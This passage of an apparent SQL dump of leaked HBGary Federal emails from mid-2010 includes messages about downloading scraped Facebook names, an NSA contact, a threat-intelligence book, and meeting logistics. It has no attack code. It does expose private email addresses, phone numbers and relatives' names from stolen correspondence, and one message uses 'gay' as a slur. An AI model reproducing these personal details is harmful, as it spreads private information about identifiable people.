<mark@hbgary.com>','/aaron@hbgary.com/new/1297007208.M237521P14101Q4239.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Slashdot Your Rights Online Story | Who Is Downloading the Torrented Facebook Files?','Got it.  It\'s gay.  It\'s just names.\r\n\r\nOn 07/31/2010 10:30 AM, Aaron Barr wrote:\r\n> I am going to try and grab it today.  Mark can you get it?\r\n> \r\n> Aaron\r\n> \r\n> Sent from my iPhone\r\n> \r\n> On Jul 31, 2010, at 12:15 PM, Ted Vera  wrote:\r\n> \r\n>> http://yro.slashdot.org/story/10/07/31/137217/Who-Is-Downloading-the-Torrented-Facebook-Files?from=rss&utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+Slashdot%2Fslashdot+%28Slashdot%29\r\n>>\r\n>> We should DL this too\r\n>>\r\n>>\r\n>>\r\n',13207,'aaron_hbgary_com/13207.html'),(9385,'2010-07-31','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007208.M805790P14101Q4240.eml','\"Mark Trynor\" <mark@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Re: Slashdot Your Rights Online Story | Who Is Downloading the Torrented Facebook Files?','Yeah but are the names associated?\r\n\r\nSent from my iPhone\r\n\r\nOn Jul 31, 2010, at 4:23 PM, Mark Trynor  wrote:\r\n\r\n> Got it.  It\'s gay.  It\'s just names.\r\n> \r\n> On 07/31/2010 10:30 AM, Aaron Barr wrote:\r\n>> I am going to try and grab it today.  Mark can you get it?\r\n>> \r\n>> Aaron\r\n>> \r\n>> Sent from my iPhone\r\n>> \r\n>> On Jul 31, 2010, at 12:15 PM, Ted Vera  wrote:\r\n>> \r\n>>> http://yro.slashdot.org/story/10/07/31/137217/Who-Is-Downloading-the-Torrented-Facebook-Files?from=rss&utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+Slashdot%2Fslashdot+%28Slashdot%29\r\n>>> \r\n>>> We should DL this too\r\n>>> \r\n>>> \r\n>>> \r\n',3512,'aaron_hbgary_com/3512.html'),(9386,'2010-07-31','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007209.M238780P14101Q4241.eml','\"Greg Hoglund\" <greg@hbgary.com>','Book','So I reorganized the chapters a bit added some content.  I thought it flowed through intro to broad description of threat intel, description mechanics to what organizations could do.  Thoughts?  I think it\'s the right chapters.  Maybe a chapter on Public vs. Private because their are differentiators.\r\n\r\nAaron\r\n\r\nSent from my iPhone',1822,'aaron_hbgary_com/1822.html'),(9387,'2010-07-31','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007213.M323173P14101Q4243.eml','\"Peace, Cheryl D\" <cdpeace@nsa.gov>','Re: Number','Cheryl,\r\n\r\nArticle was released last night on krebsonsecurity.com.  Light on data.  As I hear more I will forward on if your interested.  As i mentioned we have done some of our own analysis.  I am surprised there is not more discussion about the safety mechanisms, communications, and development path that was left in the code.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Jul 31, 2010, at 2:02 AM, \"Peace, Cheryl D\"  wrote:\r\n\r\n> R u going to get an advance copy?  When will it be published and can I get a copy?   If not, when can u get and send me a copy?\r\n> Thanks for the heads up!\r\n> --------------------------\r\n> Sent using BlackBerry\r\n> \r\n> \r\n> ----- Original Message -----\r\n> From: Aaron Barr \r\n> To: Peace, Cheryl D\r\n> Sent: Sat Jul 31 01:07:23 2010\r\n> Subject: Re: Number\r\n> \r\n> Sorry missed this.  I got wind that Krebs on security is going to publish a story.\r\n> \r\n> Aaron\r\n> \r\n> Sent from my iPhone\r\n> \r\n> On Jul 30, 2010, at 7:41 PM, \"Peace, Cheryl D\"  wrote:\r\n> \r\n>> I am at Rao at the bar if you want to come by for a few. Meeting friends for a cocktail in a few\r\n>> --------------------------\r\n>> Sent using BlackBerry\r\n>> \r\n>> \r\n>> ----- Original Message -----\r\n>> From: Aaron Barr \r\n>> To: Peace, Cheryl D\r\n>> Sent: Fri Jul 30 20:02:44 2010\r\n>> Subject: Number\r\n>> \r\n>> Cheryl,\r\n>> \r\n>> Sorry to bother you but do you have a minute to talk.  I don\'t have\r\n>> your number handy.  It will only take moment, but I have some\r\n>> information for you.\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal\r\n>> 7195108478\r\n>> \r\n>> -- \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> 719.510.8478\r\n',695,'aaron_hbgary_com/695.html'),(9388,'2010-07-31','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297007213.M76698P14101Q4242.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>','FW: NMCIWG: Daily Computer Threat News (thu)','\r\n\r\n-----Original Message-----\r\nFrom: Ousley, Jerry, CIV, DSS [mailto:Jerry.Ousley@dss.mil] \r\nSent: Saturday, July 31, 2010 10:34 AM\r\nSubject: FW: NMCIWG: Daily Computer Threat News (thu)\r\n\r\n \r\n\r\nSubject: NMCIWG: Daily Computer Threat News (thu)\r\n\r\nToday\'s articles:\r\n\r\n*       Smart meters pose hacker kill-switch risk, warn boffins\r\n\r\n*       Most breaches caused by crime gangs\r\n\r\n*       Russian gang uses botnets to automate check counterfeiting\r\n\r\n*       Area credit card skimmers may be part of statewide theft ring\r\n\r\n*       Twitter and Google are riddled with malicious links\r\n\r\n*       Google patches Chrome, sidesteps Windows kernel bug\r\n\r\n*       Three arrested in connection with Mariposa botnet\r\n\r\n*       Critical ToolTalk Database Server Parser vulnerability\r\ndiscovered\r\n\r\n*       Critical vulnerability in Apple QuickTime\r\n\r\n',5290,'aaron_hbgary_com/5290.html'),(9389,'2010-07-31','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007220.M790147P14101Q4244.eml','\"Corinne Neeley\" <neeleykc1@comcast.net>','Tricycle riders','\r\n\r\n',8115,'aaron_hbgary_com/8115.html'),(9390,'2010-07-31','\"Frisbie, Robert P\" <Robert.Frisbie@ManTech.com>','/aaron@hbgary.com/new/1297007221.M177439P14101Q4245.eml','\"Chadason, Mark P\" <Mark.Chadason@ManTech.com>,aaron@hbgary.com','SCIF Discussion','\r\n\r\n\r\n\r\n\r\nSCIF Discussion\r\n\r\n\r\n\r\n\r\nType:Single Meeting\r\nOrganizer:Frisbie, Robert P\r\nStart Time:Thursday, August 05, 2010 2:30 PM\r\nEnd Time:Thursday, August 05, 2010 3:30 PM\r\nTime Zone:(GMT-05:00) Eastern Time (US &amp; Canada)\r\nLocation:Falls Church - 10th floor\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9815,'aaron_hbgary_com/9815.html'),(9391,'2010-07-31','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297007221.M395807P14101Q4246.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Book','Just keep running with it.  Try to get a chapter into the next phase of draft and pass it off to me.  Also, I would like to see an outline.  More ideas keep coming.\r\n \r\n-Greg\r\nOn Sat, Jul 31, 2010 at 2:04 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nSo I reorganized the chapters a bit added some content.  I thought it flowed through intro to broad description of threat intel, description mechanics to what organizations could do.  Thoughts?  I think it&#39;s the right chapters.  Maybe a chapter on Public vs. Private because their are differentiators.\r\nAaronSent from my iPhone\r\n',16757,'aaron_hbgary_com/16757.html'),(9392,'2010-08-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007221.M635103P14101Q4247.eml','\"Aaron Barr\" <adbarr@mac.com>','','\r\n\r\nhttp://www.pcworld.com/businesscenter/article/202303/email.html\r\n\r\n\r\nSent from my iPhone\r\n',13367,'aaron_hbgary_com/13367.html'),(9393,'2010-08-01','\"Frisbie, Robert P\" <Robert.Frisbie@ManTech.com>','/aaron@hbgary.com/new/1297007221.M904258P14101Q4248.eml','aaron@hbgary.com','Out of Office AutoReply: Accepted: SCIF Discussion @ Thu Aug 5 2:30pm - 3:30pm (robert.frisbie@mantech.com)','\r\n\r\n\r\n\r\n\r\nOut of Office AutoReply: Accepted: SCIF Discussion @ Thu Aug 5 2:30pm - 3:30pm (robert.frisbie@mantech.com)\r\n\r\n\r\n\r\n\r\nOn travel with limited connectivity.\r\n\r\nWill return on Monday 2 Aug.\r\n\r\n\r\n\r\n',13798,'aaron_hbgary_com/13798.html'),(9394,'2010-08-01','\"Aaron barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007222.M150523P14101Q4249.eml','\"William Luti\" <wluti@digitalmanagement.com>','Re: Meeting','That works.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jul 30, 2010, at 3:23 PM, William Luti  wrote:\r\n\r\n> Aaron,\r\n> \r\n>  \r\n> \r\n> Good to talk to you. Glad the conference went well.\r\n> \r\n>  \r\n> \r\n> We’ve scheduled a meeting with Ken for Tuesday, 3 August at 9:30am here in Bethesda. This is just a heads up as Ken is working another Coast Guard bid so it may change to later in the week. But for now we can meet with him on the 3rd.\r\n> \r\n>  \r\n> \r\n> I’d suggest if you have the time we stick around after and talk with John Fanguy on TSA as well.\r\n> \r\n>  \r\n> \r\n> Please let me know if this works and we look forward to the discussion,\r\n> \r\n>  \r\n> \r\n> Best,\r\n> \r\n>  \r\n> \r\n> Bill\r\n',1813,'aaron_hbgary_com/1813.html'),(9395,'2010-08-01','\"emil nazzaro\" <emil@bydandassociates.com>','/aaron@hbgary.com/new/1297007222.M401803P14101Q4250.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Capabilities Sharing - HBGary and Bydand Associates','\r\n\r\n\r\n\r\n\r\nRE: Capabilities Sharing - HBGary and Bydand Associates\r\n\r\n\r\n\r\n\r\nI&#8217;ve given Byrne a heads up.&nbsp; Thanks, Aaron.&nbsp; We look forward to the meeting.\r\n\r\nEmil\r\n\r\n\r\n\r\n-----Original Appointment-----\r\nFrom: Google Calendar [mailto:calendar-notification@google.com] On Behalf Of Aaron Barr\r\nSent: Saturday, July 31, 2010 10:29 PM\r\nTo: emil@bydandassociates.com; emil@bydandassociates.com\r\nSubject: Capabilities Sharing - HBGary and Bydand Associates\r\nWhen: Wednesday, August 11, 2010 1:00 PM-2:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\nWhere: 6701 Democracy Blvd, Suite 300, Bethesda, MD 20817\r\n\r\n\r\n\r\nIntroductions by David Etue and informal capabilities sharing. Purpose: to see if there is any advantage of working together.\r\n\r\n\r\nWhen\r\n\r\nWed Aug 11 1pm &#8211; 2pm Eastern Time&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n\r\nWhere\r\n\r\n6701 Democracy Blvd, Suite 300, Bethesda, MD 20817 (map)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n\r\nCalendar\r\n\r\nemil@bydandassociates.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n\r\nWho\r\n\r\n&#8226;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; emil@bydandassociates.com - organizer\r\n\r\n&#8226;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; aaron@hbgary.com\r\n\r\n&#8226;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; byrne@bydandassociates.com\r\n\r\n&#8226;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; djetue@gmail.com\r\n\r\nInvitation from Google Calendar\r\n\r\nYou are receiving this courtesy email at the account emil@bydandassociates.com because you are an attendee of this event.\r\n\r\nTo stop receiving future notifications for this event, decline this event. Alternatively you can sign up for a Google account at https://www.google.com/calendar/ and control your notification settings for your entire calendar.\r\n\r\n&nbsp;&lt;&lt; File: invite.ics &gt;&gt; \r\n\r\n\r\n',10202,'aaron_hbgary_com/10202.html'),(9396,'2010-08-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007222.M628403P14101Q4251.eml','\"Aaron Barr\" <adbarr@mac.com>','','http://m.sixrevisions.com/tools/12-social-media-monitoring-tools-reviewed/\r\n\r\n\r\nSent from my iPhone\r\n',2802,'aaron_hbgary_com/2802.html'),(9397,'2010-08-01','\"William Luti\" <wluti@digitalmanagement.com>','/aaron@hbgary.com/new/1297007222.M841702P14101Q4252.eml','\"Aaron barr\" <aaron@hbgary.com>','Re: Meeting','Good, I will keep you posted if it changes. See you then.\r\n\r\n\r\n\r\nOn Jul 31, 2010, at 10:50 PM, Aaron barr  wrote:\r\n\r\n> That works.\r\n> \r\n> Aaron\r\n> \r\n> Sent from my iPad\r\n> \r\n> On Jul 30, 2010, at 3:23 PM, William Luti  wrote:\r\n> \r\n>> Aaron,\r\n>> \r\n>> \r\n>> \r\n>> Good to talk to you. Glad the conference went well.\r\n>> \r\n>> \r\n>> \r\n>> We’ve scheduled a meeting with Ken for Tuesday, 3 August at 9:30am here in Bethesda. This is just a heads up as Ken is working another Coast Guard bid so it may change to later in the week. But for now we can meet with him on the 3rd.\r\n>> \r\n>> \r\n>> \r\n>> I’d suggest if you have the time we stick around after and talk with John Fanguy on TSA as well.\r\n>> \r\n>> \r\n>> \r\n>> Please let me know if this works and we look forward to the discussion,\r\n>> \r\n>> \r\n>> \r\n>> Best,\r\n>> \r\n>> \r\n>> \r\n>> Bill\r\n',14111,'aaron_hbgary_com/14111.html'),(9398,'2010-08-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007225.M19889P14101Q4253.eml','\"Corinne Neeley\" <neeleykc1@comcast.net>,\"Dave Barr\" <calliope53@verizon.net>,\"Janelle Barr\" <janellebarr1@aol.com>,\"Louella Eliason\" <kalini1929@yahoo.com>','','\r\n\r\n',1641,'aaron_hbgary_com/1641.html'),(9399,'2010-08-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007225.M791187P14101Q4254.eml','\"Corinne Neeley\" <neeleykc1@comcast.net>,\"Dave Barr\" <calliope53@verizon.net>,\"Janelle Barr\" <janellebarr1@aol.com>,\"Louella Eliason\" <kalini1929@yahoo.com>','','\r\n\r\n',6401,'aaron_hbgary_com/6401.html'),(9400,'2010-08-01','\"Frisbie, Robert P\" <Robert.Frisbie@ManTech.com>','/aaron@hbgary.com/new/1297007226.M221071P14101Q4256.eml','aaron@hbgary.com','Fw: gaitor bait and hb gary','\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Simpson, Patrick BTo: Frisbie, Robert PSent: Sun Aug 01 12:16:19 2010Subject: Re: gaitor bait and hb gary\r\n\r\nYes sir.  I followed up with Brian last Thursday.  He should be receiving a teaming agreement this week.PatrickPatrick B. Simpson\r\n\r\n\r\nFrom: Frisbie, Robert PTo: Simpson, Patrick B; Simpson, Patrick BSent: Sat Jul 31 19:46:45 2010Subject: gaitor bait and hb gary\r\n\r\nmet with aaron out here.&nbsp; he has nda but no other comms on gaitor bait from us.&nbsp;lets discuss monday.&nbsp;',8703,'aaron_hbgary_com/8703.html'),(9401,'2010-08-01','\"Peace, Cheryl D\" <cdpeace@nsa.gov>','/aaron@hbgary.com/new/1297007226.M22145P14101Q4255.eml','aaron@hbgary.com','Re: Number','Thanks aaron.  Will pull it up?\r\n--------------------------\r\nSent using BlackBerry\r\n\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr \r\nTo: Peace, Cheryl D\r\nSent: Sat Jul 31 17:59:55 2010\r\nSubject: Re: Number\r\n\r\nCheryl,\r\n\r\nArticle was released last night on krebsonsecurity.com.  Light on data.  As I hear more I will forward on if your interested.  As i mentioned we have done some of our own analysis.  I am surprised there is not more discussion about the safety mechanisms, communications, and development path that was left in the code.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Jul 31, 2010, at 2:02 AM, \"Peace, Cheryl D\"  wrote:\r\n\r\n> R u going to get an advance copy?  When will it be published and can I get a copy?   If not, when can u get and send me a copy?\r\n> Thanks for the heads up!\r\n> --------------------------\r\n> Sent using BlackBerry\r\n> \r\n> \r\n> ----- Original Message -----\r\n> From: Aaron Barr \r\n> To: Peace, Cheryl D\r\n> Sent: Sat Jul 31 01:07:23 2010\r\n> Subject: Re: Number\r\n> \r\n> Sorry missed this.  I got wind that Krebs on security is going to publish a story.\r\n> \r\n> Aaron\r\n> \r\n> Sent from my iPhone\r\n> \r\n> On Jul 30, 2010, at 7:41 PM, \"Peace, Cheryl D\"  wrote:\r\n> \r\n>> I am at Rao at the bar if you want to come by for a few. Meeting friends for a cocktail in a few\r\n>> --------------------------\r\n>> Sent using BlackBerry\r\n>> \r\n>> \r\n>> ----- Original Message -----\r\n>> From: Aaron Barr \r\n>> To: Peace, Cheryl D\r\n>> Sent: Fri Jul 30 20:02:44 2010\r\n>> Subject: Number\r\n>> \r\n>> Cheryl,\r\n>> \r\n>> Sorry to bother you but do you have a minute to talk.  I don\'t have\r\n>> your number handy.  It will only take moment, but I have some\r\n>> information for you.\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal\r\n>> 7195108478\r\n>> \r\n>> -- \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> 719.510.8478\r\n',13939,'aaron_hbgary_com/13939.html'),(9402,'2010-08-01','\"Google Calendar\" <calendar-notification@google.com>','/aaron@hbgary.com/new/1297007226.M455378P14101Q4257.eml','\"Aaron Barr\" <aaron@hbgary.com>','Reminder: ICCS 2010 @ Mon Aug 2 - Thu Aug 5, 2010 (aaron@hbgary.com)',' more details &raquo;ICCS 2010WhenMon Aug 2 – Thu Aug 5, 2010Where113 WEST 60TH STREET New York, NY; Fordham University  (map)Calendaraaron@hbgary.comWho&#x2022;Aaron Barr - organizerInvitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for reminders on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',9704,'aaron_hbgary_com/9704.html'),(9403,'2010-08-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007230.M959940P14101Q4258.eml','\"Sandy Barr\" <freelybe@hotmail.com>','New favorite','I feel sick watching it spin while we spin... Ugh.\r\n\r\n',16060,'aaron_hbgary_com/16060.html'),(9404,'2010-08-02','\"Karen Burke\" <karen@hbgary.com>','/aaron@hbgary.com/new/1297007231.M542531P14101Q4259.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,','Webroot Blog on Fingerpint, Black Hat Talk','Hi Greg, I am still pulling all our additional coverage since your talk. I came across this Webroot blog about Fingerprint and your talk in general and thought I would send separately. They have also promoted this blog on their Facebook page and it&#39;s been picked up by a few other blogs. Thanks, K\r\n\r\nhttp://blog.webroot.com/2010/07/29/fingerprint-helps-identify-malware-authors/\r\n',7263,'aaron_hbgary_com/7263.html'),(9405,'2010-08-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007231.M788003P14101Q4260.eml','\"Karen Burke\" <karen@hbgary.com>,\"Karen Burke\" <karen@hbgary.com>,','Re: Webroot Blog on Fingerpint, Black Hat Talk','Typical. &nbsp;investigators only looking at the problem from their perspective.They are not looking at the greater data collection and correlation problem.There is petabytes on intelligence \"cyber\" data sitting in NSA and CERT databases. &nbsp;What the fingerprint approach allows us to do is correlate some of that data in a semi-automated way more easily. &nbsp;Think of the graph but uncluster the malware. &nbsp;Each malware event or specimen has a bunch of associated intelligence data tied to it. &nbsp;By clustering the malware you can now cluster the intelligence, intelligence that likely was not previously associated.Back to the statement. &nbsp;Cybersecurity is not an IT problem it is an intelligence problem. &nbsp;We need better ways to assocaite, correlate the intelligence. &nbsp;Develop visualizations and maps of the threat.They take a very narrow view.AaronOn Aug 1, 2010, at 9:38 PM, Karen Burke wrote:Hi Greg, I am still pulling all our additional coverage since your talk. I came across this Webroot blog about Fingerprint and your talk in general and thought I would send separately. They have also promoted this blog on their Facebook page and it\'s been picked up by a few other blogs. Thanks,&nbsp;K\r\n\r\nhttp://blog.webroot.com/2010/07/29/fingerprint-helps-identify-malware-authors/\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',2359,'aaron_hbgary_com/2359.html'),(9406,'2010-08-02','\"Chris Collins\" <chris@tipodean.com>','/aaron@hbgary.com/new/1297007232.M22641P14101Q4261.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Re: Government BAA','Hi Ted,Yes I have seen this and spoken to a few people about it. Would love to talk to you guys about what you think. I am likely to respond. This is a great project for where my company is right now.Are you available Monday for a chat?\r\n\r\nChrisOn Fri, Jul 30, 2010 at 2:21 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\n\r\nHi Chris,\r\n\r\nNot sure if you&#39;ve already seen this, but the NRO released a BAA\r\n(attached) that has some serious gaming / virtual world elements to\r\nit:\r\n\r\n•       Use of virtual worlds to enhance any element of NRO operations,\r\ne.g., mission planning, system scheduling, data processing,\r\nintelligence product development, distribution and collaboration.\r\n\r\nTed\r\n\r\n--\r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n-- -- Chris CollinsCEOTipodean Technologies+1 415-515-6928 | chris@tipodean.comSkype: cozza13 | SL: Chris Collins\r\n\r\nWebsite: www.tipodean.comTwitter: http://www.twitter.com/tipodeanhttp://www.linkedin.com/in/collinschris\r\n\r\nTools for your distributed workforce\r\n',6068,'aaron_hbgary_com/6068.html'),(9407,'2010-08-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007232.M234709P14101Q4262.eml','\"Greg Hoglund\" <greg@hbgary.com>','Future of Security','The trajectory of technology.  Mobility + Social + Cloud\r\n\r\nThis leads to perimeterless environment, promiscuous networking, open PII.\r\n\r\nComputer security is not possible, not remotely given the current trajectory of security.  Even host based behavioral detection can not keep up with this without significant additional capabilities.  I see only two paths to improving this.  As the stakes are raised to organized crime and nation state FIS (Foreign Intelligence Services) anything is possible.  Backbone compromises, Supply Chain compromises, specialized insider threats, legitimate commercial services.\r\n\r\nChoices to better security.\r\nComplete rework of the computer and communications architecture. (not likely and certainly not within 5 years).  There are some technologies short of this that will help; broad distribution and management of personal certs and pervasive encryption.  But the implementation of this is a bugger.  Again long ways away.\r\nor\r\nIntelligence, Incident Response, and IO.\r\n\r\nThe area Incident Response requires some clarification because I don\'t mean it in the traditionally understood sense.  I mean human and system response to abnormal cyber conditions.  I mean system and mission resiliency in the face of compromise and attack.  This requires good intelligence, we can improve human and system response with better intelligence.\r\n\r\nIO requires some intelligence but is more a feeder to intelligence.  All offense all the time.  Forward deployed and embedded capabilities that can give us insight, I&W, knowledge of threats, their intent and capabilities.  This is a blended approach of all of the capabilities available.  Coordinated campaigns\r\n\r\nIntelligence.  This is a bugger.  Some of it because of organizational and bureaucratic boundaries.  Some of it is we just don\'t know how to organize the data.  Threats are complex as we have discussed.  How do you develop a threat focused intelligence capability?\r\n\r\nMaybe the focus of our book should be on Intelligence, Incident Response, and IO?  Enumerating and discussing the components of the threat should allow us to organize a chapter on what a threat intelligence schema would look like?\r\n\r\nJust some thoughts.  BTW, if you haven\'t seen the movie Unthinkable...definitely worth seeing.  The movie will not make you feel good though.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',13623,'aaron_hbgary_com/13623.html'),(9408,'2010-08-02','arc@westfields.net','/aaron@hbgary.com/new/1297007232.M452825P14101Q4263.eml','federal@hbgary.com','IARPA - N/A / Rose Announcement Posting','\r\nAn announcement has been posted on the IARPA/N/A-Rose effort website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Unclassified Internet (World Wide Web) ARC accessible  via https://arc.westfields.net/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Unclassified Internet (World Wide Web), and I Have an Account on that system\'s ARC website.\r\nOn the Internet go to https://arc.westfields.net/, log in using your Internet ARC username and password, click on Current Efforts, and select IARPA - N/A /Rose from the Open Source Listing.\r\n\r\nI Have Access to the Unclassified Internet (World Wide Web), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Internet ARC, go to https://arc.westfields.net/, click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Internet ARC for any purpose.\r\n\r\nI Have Access to the Unclassified Internet (World Wide Web) ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Internet ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Internet email address has changed since your last login, please email (preferred) the web development team at dev@ticom.com or call 703-449-8010 for help in resetting your password.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 